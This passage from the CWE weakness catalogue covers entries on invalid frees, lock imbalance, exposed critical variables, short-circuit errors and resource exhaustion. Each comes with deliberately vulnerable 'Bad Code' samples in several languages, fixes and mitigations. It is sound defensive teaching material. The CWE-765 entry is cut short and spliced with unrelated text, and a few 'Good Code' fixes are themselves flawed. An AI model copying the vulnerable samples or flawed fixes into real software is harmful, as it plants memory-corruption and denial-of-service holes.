This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

C Example: *Bad Code*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
  if (**ap != '\0')
    if (++ap >= &argv[10])
      break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 2:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

C++ Example: *Bad Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

C++ Example: *Good Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  delete ptr;
}
```

Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

C Example: *Bad Code*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
  char *str;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( *str != NULL){
    if( *str == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    str = str + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

C Example: *Good Code*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
  char *str;
  int i = 0;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( i < strlen(str) ){
    if( str[i] == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    i = i + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

Example 4:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

C Example: *Bad Code*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
  if( isMalformed( tok ) ){
    /* ignore and discard bad data */
    free( tok );
  }
  else{
```

```
    add_to_command_queue( tok );
  }
  tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

C Example: *Good Code*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
  if( !isMalformed( command ) ){
    /* copy and enqueue good data */
    command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
    strcpy( command, tok );
    add_to_command_queue( command );
  }
  tok = strtok( NULL, sep));
}
free( input )
```

Potential Mitigations

Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Maintenance Notes

This area of the view CWE-1000 hierarchy needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

CWE-764: Multiple Locks of a Critical Resource

Weakness ID: 764 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Availability
Integrity
DoS: resource consumption (CPU)
DoS: crash / exit / restart
Unexpected state

Potential Mitigations

Implementation

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

Relationships

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP21	Multiple locks/unlocks

CWE-764: Multiple Locks of a Critical Resource

Maintenance Notes

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID: 765 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

Extended Description

When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

Time of Introduction

This entry may need to be modified to reflect these concepts in the future.

CWE-766: Critical Variable Declared Public

Weakness ID: 766 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software declares a critical variable or field to be public when intended security policy requires it to be private.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++
- C#
- Java

Common Consequences

Integrity
Confidentiality
Read application data
Modify application data

Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

C++ Example: *Bad Code*

```
public: char* password;
```

Instead, the critical data should be declared private.

C++ Example: *Good Code*

```
private: char* password;
```

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2:

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

C++ Example: *Bad Code*

```
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15
class UserAccount
{
  public:
    UserAccount(char *username, char *password)
    {
      if ((strlen(username) > MAX_USERNAME_LENGTH) ||
      (strlen(password) > MAX_PASSWORD_LENGTH)) {
        ExitError("Invalid username or password");
```

```
    }
    strcpy(this->username, username);
    strcpy(this->password, password);
  }
  int authorizeAccess(char *username, char *password)
  {
    if ((strlen(username) > MAX_USERNAME_LENGTH) ||
    (strlen(password) > MAX_PASSWORD_LENGTH)) {
      ExitError("Invalid username or password");
    }
    // if the username and password in the input parameters are equal to
    // the username and password of this account class then authorize access
    if (strcmp(this->username, username) ||
    strcmp(this->password, password))
      return 0;
    // otherwise do not authorize access
    else
      return 1;
  }
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

C++ Example: *Good Code*

```
class UserAccount
{
public:
  ...
private:
  char username[MAX_USERNAME_LENGTH+1];
  char password[MAX_PASSWORD_LENGTH+1];
};
```

Observed Examples

Reference	Description
CVE-2010-3860	variables declared public allows remote read of system properties such as user name and home directory.

Potential Mitigations

Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	485	Insufficient Encapsulation	**699** 1000	820

CWE-767: Access to Critical Private Variable via Public Method

Weakness ID: 767 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software defines a public method that reads or modifies a private variable.

Extended Description

If an attacker modifies the variable to contain unexpected values, this could violate assumptions from other parts of the code. Additionally, if an attacker can read the private variable, it may expose sensitive information or make it easier to launch further attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C++
- C#
- Java

Common Consequences

Integrity
Other
Modify application data
Other

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

The following example declares a critical variable to be private, and then allows the variable to be modified by public methods.

C++ Example: *Bad Code*

```
private: float price;
public: void changePrice(float newPrice) {
  price = newPrice;
}
```

Example 2:

The following example could be used to implement a user forum where a single user (UID) can switch between multiple profiles (PID).

Java Example: *Bad Code*

```
public class Client {
  private int UID;
  public int PID;
  private String userName;
  public Client(String userName){
    PID = getDefaultProfileID();
    UID = mapUserNametoUID( userName );
    this.userName = userName;
  }
  public void setPID(int ID) {
    UID = ID;
  }
}
```

The programmer implemented setPID with the intention of modifying the PID variable, but due to a typo. accidentally specified the critical variable UID instead. If the program allows profile IDs to be between 1 and 10, but a UID of 1 means the user is treated as an admin, then a user could gain administrative privileges as a result of this typo.

Potential Mitigations

Implementation

Use class accessor and mutator methods appropriately. Perform validation when accepting data from a public method that is intended to modify a critical private variable. Also be sure that appropriate access controls are being applied when a public method interfaces with critical data.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	485	Insufficient Encapsulation	**699** 1000	820
ChildOf	C	668	Exposure of Resource to Wrong Sphere	**1000**	1037
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	**888**	1381

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to protect stored data from modification
Software Fault Patterns	SFP23	Exposed Data

Maintenance Notes

This entry is closely associated with access control for public methods. If the public methods are restricted with proper access controls, then the information in the private variable will not be exposed to unexpected parties. There may be chaining or composite relationships between improper access controls and this weakness.

CWE-768: Incorrect Short Circuit Evaluation

Weakness ID: 768 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring.

Extended Description

Usage of short circuit evaluation, though well-defined in the C standard, may alter control flow in a way that introduces logic errors that are difficult to detect, possibly causing errors later during the software's execution. If an attacker can discover such an inconsistency, it may be exploitable to gain arbitrary control over a system.

If the first condition of an "or" statement is assumed to be true under normal circumstances, or if the first condition of an "and" statement is assumed to be false, then any subsequent conditional may contain its own logic errors that are not detected during code review or testing.

Finally, the usage of short circuit evaluation may decrease the maintainability of the code.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Integrity
Availability

Widely varied consequences are possible if an attacker is aware of an unexpected state in the software after a conditional. It may lead to information exposure, a system crash, or even complete attacker control of the system.

Likelihood of Exploit

Very Low

Demonstrative Examples

The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

C Example: *Bad Code*

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
  int privileges;
  int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
  user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
  int i = num_users;
  while( --i && (users[i].privileges = PRIV_REGULAR) ){
    users[i].id = i;
  }
  return users;
}
int main(){
  user_t* test;
  int i;
  test = Add_Regular_Users(25);
  for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

Potential Mitigations

Implementation

Minimizing the number of statements in a conditional that produce side effects will help to prevent the likelihood of short circuit evaluation to alter control flow in an unexpected way.

CWE-769: File Descriptor Exhaustion

Category ID: 769 *(Category)* **Status:** Incomplete

Description

Summary

The software can be influenced by an attacker to open more files than are supported by the system.

Extended Description

There are at least three distinct scenarios which can commonly lead to file descriptor exhaustion:
Lack of throttling for the number of open file descriptors
Losing all references to a file descriptor before reaching the shutdown stage
Not closing file descriptors after processing

Time of Introduction

- Architecture and Design
- Implementation

Likelihood of Exploit

Low to Medium

Potential Mitigations

Implementation

Architecture and Design

If file I/O is being supported by an application for multiple users, balancing the resource allotment across the group may help to prevent exhaustion as well as differentiate malicious activity from an insufficient resource pool.

Implementation

Consider using the getrlimit() function included in the sys/resources library in order to determine how many files are currently allowed to be opened for the process.

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID: 770 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on how many resources can be allocated, in violation of the intended security policy for that actor.

Time of Introduction

- Architecture and Design
- Implementation
- Operation
- System Configuration

Applicable Platforms

Languages

- Language-independent

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.

Likelihood of Exploit

Medium to High

Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing
Opportunistic

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.

When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness.

Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Demonstrative Examples

Example 1:

This code allocates a socket and forks each time it receives a new connection.

C/C++ Example: *Bad Code*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
  newsock=accept(sock, ...);
  printf("A connection has been accepted\n");
  pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

C/C++ Example: *Bad Code*

```
int writeDataFromSocketToFile(char *host, int port)
{
  char filename[FILENAME_SIZE];
  char buffer[BUFFER_SIZE];
  int socket = openSocketConnection(host, port);
  if (socket < 0) {
    printf("Unable to open socket connection");
    return(FAIL);
  }
  if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
    if (openFileToWrite(filename) > 0) {
      while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
        if (!(writeToFile(buffer) > 0))
          break;
      }
    }
    closeFile();
  }
  closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

C/C++ Example: *Bad Code*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
  char *body;
  int length = getMessageLength(message[0]);
  if (length > 0) {
    body = &message[1][0];
    processMessageBody(body);
    return(SUCCESS);
  }
  else {
    printf("Unable to process message; invalid message length");
    return(FAIL);
  }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

C/C++ Example: *Good Code*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Java Example: *Bad Code*

```
public void acceptConnections() {
  try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
      Socket client = serverSocket.accept();
      Thread t = new Thread(new ClientSocketThread(client));
      t.setName(client.getInetAddress().getHostName() + ":" + counter++);
      t.start();
    }
    serverSocket.close();
  } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Java Example: *Good Code*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
  try {
    ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
    int counter = 0;
    boolean hasConnections = true;
    while (hasConnections) {
      hasConnections = checkForMoreConnections();
      Socket client = serverSocket.accept();
      Thread t = new Thread(new ClientSocketThread(client));
      t.setName(client.getInetAddress().getHostName() + ":" + counter++);
      ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
      pool.execute(t);
    }
    serverSocket.close();
  } catch (IOException ex) {...}
}
```

Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Observed Examples

Reference	Description
CVE-2005-4650	CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation.
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
CVE-2009-4017	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts..

Potential Mitigations

Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

This will only be applicable to cases where user input can influence the size or frequency of resource allocations.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:

- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, he may be able to prevent the user from accessing the server in question.

The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Architecture and Design
Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Ensure that all failures in resource allocation place the system into a safe posture.

Operation
Architecture and Design
Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Maintenance Notes

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID: 771 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Availability

DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit

Medium to High

Potential Mitigations

Operation
Architecture and Design
Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID: 772 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Architectural Paradigms

- Mobile Application

Common Consequences

Availability
DoS: resource consumption (other)

When allocating resources without limits, an attacker could prevent all other processes from accessing the same type of resource.

Likelihood of Exploit

Medium to High

Demonstrative Examples

Example 1:

The following code attempts to process a file by reading it in line by line until the end has been reached.

Java Example: *Bad Code*

```
private void processFile(string fName)
{
  BufferReader in = new BufferReader(new FileReader(fName));
  String line;
  while ((line = in.ReadLine()) != null)
  {
    processLine(line);
  }
}
```

The problem with the above code is that it never closes the file handle it opens. The Finalize() method for BufferReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

C# Example: *Bad Code*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Java Example: *Bad Code*

```
private void processFile(string fName) {
  StreamWriter sw = new StreamWriter(fName);
  string line;
  while ((line = sr.ReadLine()) != null){
    processLine(line);
  }
}
```

Example 4:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Java Example: *Bad Code*

```
try {
  Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
  log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 5:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

C# Example: *Bad Code*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 6:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

C Example: *Bad Code*

```
int decodeFile(char* fName) {
  char buf[BUF_SZ];
  FILE* f = fopen(fName, "r");
  if (!f) {
    printf("cannot open %s\n", fName);
    return DECODE_FAIL;
  }
  else {
    while (fgets(buf, BUF_SZ, f)) {
      if (!checkChecksum(buf)) {
        return DECODE_FAIL;
      }
      else {
        decodeBlock(buf);
      }
    }
  }
  fclose(f);
  return DECODE_SUCCESS;
}
```

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion.

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Operation

Architecture and Design

Limit Resource Consumption

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Theoretical Notes

